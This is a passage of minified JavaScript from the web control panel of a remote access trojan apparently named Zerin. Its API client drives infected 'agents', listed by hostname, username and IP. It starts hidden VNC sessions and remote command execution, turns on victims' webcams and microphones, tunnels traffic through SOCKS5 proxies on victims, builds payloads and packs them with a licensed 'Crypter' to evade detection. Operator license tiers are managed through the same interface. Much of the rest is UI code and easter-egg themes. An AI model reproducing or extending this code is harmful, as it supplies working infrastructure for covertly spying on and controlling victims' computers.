fetch(e,{...t,headers:r});if(i.status===401){Io(),ai();const a=await i.text().catch(()=>"");let o="Unauthorized";if(a)try{o=JSON.parse(a).error||o}catch{o=a}throw new ei(401,o)}if(!i.ok){const a=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(a)try{o=JSON.parse(a).error||o}catch{}throw new ei(i.status,o)}if(i.status!==204)return i.json()}async function Vj(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function mE(e){const t=await Vj(e.password),n=await we("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return ix(n.token),uo=n.expires_at,n.role&&sessionStorage.setItem(Hu,n.role),n.tier&&sessionStorage.setItem(Ku,n.tier),ai(),n}async function hE(e){const t=await Vj(e.password),n=await we("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return ix(n.token),uo=n.expires_at,n.role&&sessionStorage.setItem(Hu,n.role),n.tier&&sessionStorage.setItem(Ku,n.tier),ai(),n}async function Hj(e){return we("/api/agents")}async function xE(e){return we(`/api/agents/${e}`)}async function Kj(e){return we(`/api/agents/${e}`,{method:"DELETE"})}async function vE(e){await Promise.all(e.map(t=>Kj(t)))}async function gE(e){return we(`/api/agents/${e}/ban`,{method:"POST"})}async function yE(e){return we(`/api/agents/${e}/unban`,{method:"POST"})}async function Ce(e,t){return we(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Tn(e){return we(`/api/agents/${e}/tasks`)}async function bE(){return we("/api/events")}async function wE(e,t){return we(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function jE(e){return we("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function kE(){return we("/api/payloads")}async function NE(){return we("/api/server-info")}async function SE(e){return we(`/api/payloads/${e}`,{method:"DELETE"})}async function ax(e){return we(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function zE(e){return we(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function qj(e){return we(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function CE(e){return we(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function PE(e,t,n=!1){return we(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function Yj(e,t=-1){return we(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function EE(e){return we(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function Gj(e){return we(`/api/agents/${e}/mic/start`,{method:"POST"})}async function AE(e){return we(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function Xj(e){return we(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function _E(e){return we(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function OE(e){return we(`/api/agents/${e}/socks5/status`)}async function TE(e){const t=Ze(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw Io(),ai(),new ei(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new ei(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new ei(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function ME(){return we("/api/admin/keys")}async function LE(e){return we("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function IE(e){return we(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function DE(){return we("/api/admin/operators")}async function RE(e,t){return we(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function $E(e,t){return we(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}let Ql=[];function BE(e){return Ql.push(e),()=>{Ql=Ql.filter(t=>t!==e)}}function FE(){return pE()}function ai(){Ql.forEach(e=>e())}function WE(){const e=Ze();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function Za(){const e=p.useSyncExternalStore(BE,FE),t=p.useCallback(()=>{ai()},[]),n=p.useCallback(()=>{Io(),ai()},[]),r=e?WE():null;return{isAuthenticated:e,token:Ze(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class UE extends p.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?s.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),s.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r + bg-zerin-accent hover:bg-zerin-accent-hover\r + px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function VE(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,a]=p.useState(!1),[o,l]=p.useState(null),c=p.useRef(null),u=p.useRef(0),d=p.useRef(),f=p.useRef(t);f.current=t;const m=p.useCallback(()=>{const x=Ze();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws?token=${encodeURIComponent(x)}`,v=new WebSocket(y);c.current=v,v.onopen=()=>{a(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(a(!1),c.current=null,u.current{m()},w)}else Io(),ai()},v.onerror=()=>{v.close()}},[n,r]),h=p.useCallback(()=>{u.current=0,m()},[m]);return p.useEffect(()=>(m(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[m]),{isConnected:i,lastMessage:o,reconnect:h}}const Of="zerin_notifications_enabled";function HE(){const[e,t]=p.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=p.useState(()=>localStorage.getItem(Of)==="true");p.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=p.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(Of,"true"))},[]),a=p.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(Of,String(c)),c})},[]),o=p.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:a,notify:o,isSupported:typeof Notification<"u"}}const Tf="zerin-uwu-mode",gg=20,KE=3e3;function qE(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),a=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.05,t+.04),a.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(a).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function YE(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function GE(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function XE(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=` + left:${Math.random()*100}vw; + top:${Math.random()*100}vh; + width:${i}px; + height:${i}px; + background:${t[n%t.length]}; + animation-delay:${Math.random()*.6}s; + `,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const yg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],bg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function ZE(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(a){const f=yg[Math.floor(Math.random()*yg.length)];i.textContent=f,i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + font-size:${10+Math.random()*14}px; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.08}s; + `}else{const f=bg[Math.floor(Math.random()*bg.length)],m=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + width:${m}px;height:${h}px;background:${f}; + border-radius:${Math.random()>.5?"50%":"1px"}; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.06}s; + `}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const wg=["❤️","💖","💗","💕","♥️","🌸"];let jg=0;function QE(e,t){const n=Date.now();if(n-jg<60)return;jg=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=wg[Math.floor(Math.random()*wg.length)];const i=(Math.random()-.5)*24,a=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${a}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function kg(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function Ng(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const Sg=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function JE(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=Sg[Math.floor(Math.random()*Sg.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function eA(){const[e,t]=p.useState(()=>{try{return localStorage.getItem(Tf)==="true"}catch{return!1}}),n=p.useRef(0),r=p.useRef();p.useEffect(()=>{const a=document.documentElement.classList;return e?(a.add("femboy-theme"),kg()):(a.remove("femboy-theme"),Ng()),()=>{a.remove("femboy-theme"),Ng()}},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{ZE(o.clientX,o.clientY)};return document.addEventListener("click",a,!0),()=>document.removeEventListener("click",a,!0)},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{QE(o.clientX,o.clientY)};return document.addEventListener("mousemove",a),()=>document.removeEventListener("mousemove",a)},[e]),p.useEffect(()=>{if(!e)return;const a=()=>{JE(),o=setTimeout(a,8e3+Math.random()*7e3)};let o=setTimeout(a,3e3);return()=>clearTimeout(o)},[e]);const i=p.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},KE),e){if(n.current>=gg){n.current=0,t(!1);try{localStorage.removeItem(Tf)}catch{}YE()}return}if(n.current>=15&&GE(n.current-14),n.current>=gg){n.current=0,t(!0);try{localStorage.setItem(Tf,"true")}catch{}qE(),XE(),kg()}},[e]);return{isActive:e,handleStatusClick:i}}const zg=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function tA(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),a=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.08,t+.1),a.gain.setValueAtTime(.08,t+.8),a.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(a).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function nA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function rA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=` + position:absolute;left:0;right:0;height:2px; + top:${n*13}%; + background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent); + box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"}; + opacity:0; + animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards; + `,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,a=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=` + position:absolute;left:${a}%;top:${o}%; + width:${i}px;height:${i}px; + background:${u};border-radius:50%; + box-shadow:0 0 8px ${u}, 0 0 16px ${u}40; + --synth-dx:${l}px;--synth-dy:${c}px; + animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards; + `,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let Cg=0,Mf=0;function iA(e,t){const n=Date.now();if(n-Cg<40)return;Cg=n,Mf=(Mf+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=Mf<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function aA(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,a=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=` + left:${a}vw;width:${i}px;height:${i}px; + clip-path:${o}; + border:1.5px solid ${r}; + box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30; + background:${r}08; + `,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function sA(){const[e,t]=p.useState(!1),n=p.useRef([]),r=p.useRef();return p.useEffect(()=>{function i(a){var u,d;const o=(u=a.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=a.target)!=null&&d.isContentEditable)return;const l=a.key.length===1?a.key.toLowerCase():a.key;n.current.push(l);const c=zg.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);zg.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?nA():(tA(),rA()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),p.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),p.useEffect(()=>{if(!e)return;const i=a=>iA(a.clientX,a.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),p.useEffect(()=>{if(!e)return;const i=()=>{aA(),a=setTimeout(i,5e3+Math.random()*5e3)};let a=setTimeout(i,2e3);return()=>clearTimeout(a)},[e]),{isActive:e}}const oA={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},lA={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},cA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},uA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},dA={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function qu({status:e,size:t="md",showLabel:n=!1}){return s.jsxs("span",{className:"inline-flex items-center gap-2",children:[s.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block rounded-full ${oA[t]} ${cA[e]}`})]}),n&&s.jsx("span",{className:`font-mono font-medium tracking-wider ${lA[t]} ${uA[e]}`,children:dA[e]})]})}function fA({open:e,onClose:t,agents:n}){const[r,i]=p.useState(""),[a,o]=p.useState(0),l=p.useRef(null),c=Jn(),u=p.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(m=>m.hostname.toLowerCase().includes(f)||m.username.toLowerCase().includes(f)||m.internal_ip.includes(f)||m.external_ip.includes(f)||m.id.toLowerCase().includes(f)).slice(0,10).map(m=>({type:"agent",id:m.id,primary:m.hostname,secondary:`${m.username} — ${m.internal_ip}`,agent:m}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);p.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),p.useEffect(()=>{o(0)},[r]);const d=p.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return p.useEffect(()=>{if(!e)return;function f(m){if(m.key==="Escape"){t();return}m.key==="ArrowDown"&&(m.preventDefault(),o(h=>Math.min(h+1,u.length-1))),m.key==="ArrowUp"&&(m.preventDefault(),o(h=>Math.max(h-1,0))),m.key==="Enter"&&u[a]&&(m.preventDefault(),d(u[a]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,a,t,d]),e?s.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[s.jsx("div",{className:"absolute inset-0 bg-black/60"}),s.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),s.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),s.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?s.jsx("div",{className:"px-4 py-8 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):s.jsxs("div",{className:"py-1",children:[!r&&s.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,m)=>s.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(m),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${m===a?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&s.jsx(qu,{status:f.agent.status,size:"sm"}),s.jsxs("div",{className:"min-w-0 flex-1",children:[s.jsx("p",{className:`text-sm font-medium truncate ${m===a?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),s.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),s.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let Wi={status:"idle",payloadName:"",startedAt:0,error:""};const cm=new Set;function Yu(){cm.forEach(e=>e())}function Zj(){return Wi}function Qj(e){return cm.add(e),()=>cm.delete(e)}function pA(e){Wi={status:"building",payloadName:e,startedAt:Date.now(),error:""},Yu()}function mA(){Wi={...Wi,status:"success"},Yu()}function Pg(e){Wi={...Wi,status:"error",error:e},Yu()}function Eg(){Wi={status:"idle",payloadName:"",startedAt:0,error:""},Yu()}const Gu=p.createContext({lastMessage:null}),hA=[{to:"/dashboard",label:"Dashboard",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})}],xA={to:"/crypter",label:"Crypter",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},vA={to:"/admin",label:"Admin",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function gA(){const e=p.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return s.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>s.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function yA(){const{logout:e,isAdmin:t}=Za(),r=p.useSyncExternalStore(Qj,Zj).status==="building",a=Uj()==="rat_crypter"||t,o=[...hA,...a?[xA]:[],...t?[vA]:[]],l=Jn(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:m,isSupported:h}=HE(),[x,g]=p.useState(!1),[y,v]=p.useState([]),{isActive:b,handleStatusClick:w}=eA(),{isActive:j}=sA(),[k,S]=p.useState(!1),N=p.useRef(""),z=p.useRef(null);p.useEffect(()=>{function U(K){var L,F;if(k||K.ctrlKey||K.metaKey||K.altKey)return;const $=(L=K.target)==null?void 0:L.tagName;$==="INPUT"||$==="TEXTAREA"||$==="SELECT"||(F=K.target)!=null&&F.isContentEditable||K.key.length===1&&(N.current+=K.key.toLowerCase(),N.current.length>20&&(N.current=N.current.slice(-10)),z.current&&clearTimeout(z.current),z.current=setTimeout(()=>{N.current=""},3e3),N.current.includes("credits")&&(N.current="",S(!0)))}return window.addEventListener("keydown",U),()=>window.removeEventListener("keydown",U)},[k]),p.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const O=p.useCallback(async()=>{try{const U=await Hj();v(U)}catch{}},[]);p.useEffect(()=>{O();const U=setInterval(O,15e3);return()=>clearInterval(U)},[O]);const E=p.useCallback(U=>{if(U.type==="agent_update"){const K=U.payload;v($=>{const L=$.findIndex(F=>F.id===K.id);if(L>=0){const F=[...$];return F[L]=K,F}return m("New Agent Connected",`${K.hostname} 